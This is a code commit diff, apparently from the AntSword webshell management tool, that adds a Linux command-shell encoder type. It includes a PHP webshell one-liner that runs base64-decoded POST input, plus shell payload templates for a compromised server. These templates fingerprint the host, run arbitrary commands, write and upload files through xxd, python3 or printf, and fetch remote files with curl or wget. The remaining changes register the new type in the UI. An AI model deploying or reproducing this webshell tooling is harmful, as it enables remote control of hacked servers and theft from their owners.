Commit a42527e9 authored by Medicean's avatar Medicean

(Enhance: Modules/Encoder) 编码管理中支持 CMDLinux

parent 58ebc116
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
......@@ -41,7 +41,7 @@ class CMDLINUX extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return [];
return ["base64"];
}
get decoders() {
......
......@@ -6,16 +6,15 @@
module.exports = () => ({
info: {
_: `ACWD=$(pwd);
AUNAME=$(uname -a);
AUSER=$(whoami);
echo -n "$ACWD\\t/\\t$AUNAME\\t$AUSER";`
AUNAME=$(uname -a);
AUSER=$(whoami);
echo -n "$ACWD\\t/\\t$AUNAME\\t$AUSER";`.replace(/\n\s+/g, '')
},
probedb: { // 检测数据库函数支持
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
DBLIST="mysql psql sqlite3";
for v in $DBLIST
do
DBLIST="mysql psql sqlite3";
for v in $DBLIST; do
if command_exists $v; then echo "$v\\t1"; else echo "$v\\t0"; fi;
done;`
done;`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
......@@ -5,20 +5,19 @@
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `ENVSTR=$(echo #{buffer::env}|xxd -r -p);
while [ $ENVSTR ]; do
while [ $ENVSTR ]; do
ASLINE=\${ENVSTR%%"|||asline|||"*};
ENVSTR=\${ENVSTR#*"|||asline|||"};
export \${ASLINE%%"|||askey|||"*}=\${ASLINE#*"|||askey|||"};
done;
#{bin} -c '#{cmd}';`,
done;
#{bin} -c '#{cmd}';`.replace(/\n\s+/g, ''),
},
listcmd: {
_: `CMDLIST="#{binarr}";
OLD_IFS=$IFS;
IFS=",";
for v in $CMDLIST
do
for v in $CMDLIST; do
if [ -f $v ]; then echo "$v\\t1"; else echo "$v\\t0"; fi;
done;`
done;`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
......@@ -12,10 +12,16 @@ module.exports = (arg1, arg2, arg3) => ({
},
create_file: {
_: `cat>#{path}<<'EOF'
#{content}
EOF
if [ $? = 0 ]; then echo -n 1; else echo -n 0; fi;`
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
ACONTENT="#{buffer::content}";
ADSTPATH="#{path}";
if command_exists xxd; then
echo -n $ACONTENT|xxd -r -p > $ADSTPATH && echo -n 1||echo -n 0;
elif command_exists python3; then
echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">$ADSTPATH && echo -n 1||echo -n 0;
else
echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>$ADSTPATH && echo -n 1||echo -n 0;
fi;`.replace(/\n\s+/g, '')
},
read_file: {
......@@ -32,16 +38,15 @@ if [ $? = 0 ]; then echo -n 1; else echo -n 0; fi;`
upload_file: {
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
ACONTENT="#{buffer::content}";
ADSTPATH="#{path}";
if command_exists xxd; then
ACONTENT="#{buffer::content}";
ADSTPATH="#{path}";
if command_exists xxd; then
echo -n $ACONTENT|xxd -r -p >> $ADSTPATH && echo -n 1||echo -n 0;
elif command_exists python3; then
elif command_exists python3; then
echo -n $ACONTENT|python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))">>$ADSTPATH && echo -n 1||echo -n 0;
else
else
echo -n $ACONTENT|sed 's/\\([0-9A-F]\\{2\}\\)/\\\\\\\\\\\\x\\1/gI'|xargs printf>>$ADSTPATH && echo -n 1||echo -n 0;
fi;
`
fi;`.replace(/\n\s+/g, '')
},
rename: {
......@@ -62,15 +67,15 @@ fi;
wget: {
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
ascurl=''
if command_exists curl; then
ascurl=''
if command_exists curl; then
ascurl='curl -ksSL -o';
elif command_exists wget; then
elif command_exists wget; then
ascurl='wget --no-check-certificate -qO';
elif command_exists busybox && busybox --list-modules | grep -q wget; then
elif command_exists busybox && busybox --list-modules | grep -q wget; then
ascurl='busybox wget --no-check-certificate -qO'
fi;
$ascurl #{path} #{url} && echo -n 1||echo -n 0;
`
fi;
$ascurl #{path} #{url} && echo -n 1||echo -n 0;
`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
......@@ -70,6 +70,11 @@ class Encoders {
icon: 'file-code-o',
type: 'button',
text: "JSPJS"
}, {
id: 'new_cmdlinux',
icon: 'file-code-o',
type: 'button',
text: "CMDLINUX"
}, {
type: 'separator'
}, {
......@@ -106,6 +111,11 @@ class Encoders {
icon: 'file-code-o',
type: 'button',
text: "JSPJS"
}, {
id: 'new_cmdlinux_decoder',
icon: 'file-code-o',
type: 'button',
text: "CMDLINUX"
}, {
type: 'separator'
}, {
......@@ -156,6 +166,9 @@ class Encoders {
case "new_jspjs":
that.createEncoder(id);
break;
case "new_cmdlinux":
that.createEncoder(id);
break;
case "new_php":
case "new_php_rsa":
that.createEncoder(id);
......@@ -172,6 +185,9 @@ class Encoders {
case "new_jspjs_decoder":
that.createEncoder(id, 'decoder');
break;
case "new_cmdlinux_decoder":
that.createEncoder(id, 'decoder');
break;
case "new_custom_decoder":
that.createEncoder(id, 'decoder');
break;
......@@ -212,6 +228,7 @@ class Encoders {
combobox.put("php", "PHP");
combobox.put("jsp", "JSP");
combobox.put("jspjs", "JSPJS");
combobox.put("cmdlinux", "CMDLINUX");
combobox.put("custom", "CUSTOM");
grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) {
......@@ -243,7 +260,7 @@ class Encoders {
break
case 2:
// type
if (nValue != "asp" && nValue != "aspx" && nValue != "php" && nValue != "jsp"&& nValue != "jspjs"&&nValue != "custom") {
if (nValue != "asp" && nValue != "aspx" && nValue != "php" && nValue != "jsp"&& nValue != "jspjs"&& nValue != "cmdlinux"&&nValue != "custom") {
toastr.error(LANG['message']["etype_error"], LANG_T['error']);
return
}
......@@ -784,6 +801,7 @@ module.exports = {
php: [],
jsp: [],
jspjs: [],
cmdlinux: [],
custom: [],
};
var encoders_path = {
......@@ -792,6 +810,7 @@ module.exports = {
php: [],
jsp: [],
jspjs: [],
cmdlinux: [],
custom: [],
};
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
......@@ -799,7 +818,7 @@ module.exports = {
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
['asp', 'aspx', 'php', 'jsp','jspjs' , 'custom'].map((t) => {
['asp', 'aspx', 'php', 'jsp','jspjs' , 'custom', 'cmdlinux'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
......@@ -835,6 +854,7 @@ module.exports = {
php: [],
jsp: [],
jspjs: [],
cmdlinux: [],
custom: []
};
var decoders_path = {
......@@ -843,6 +863,7 @@ module.exports = {
php: [],
jsp: [],
jspjs: [],
cmdlinux: [],
custom: []
};
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
......@@ -850,7 +871,7 @@ module.exports = {
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
['asp', 'aspx', 'php', 'jsp','jspjs', 'custom'].map((t) => {
['asp', 'aspx', 'php', 'jsp','jspjs', 'custom', 'cmdlinux'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment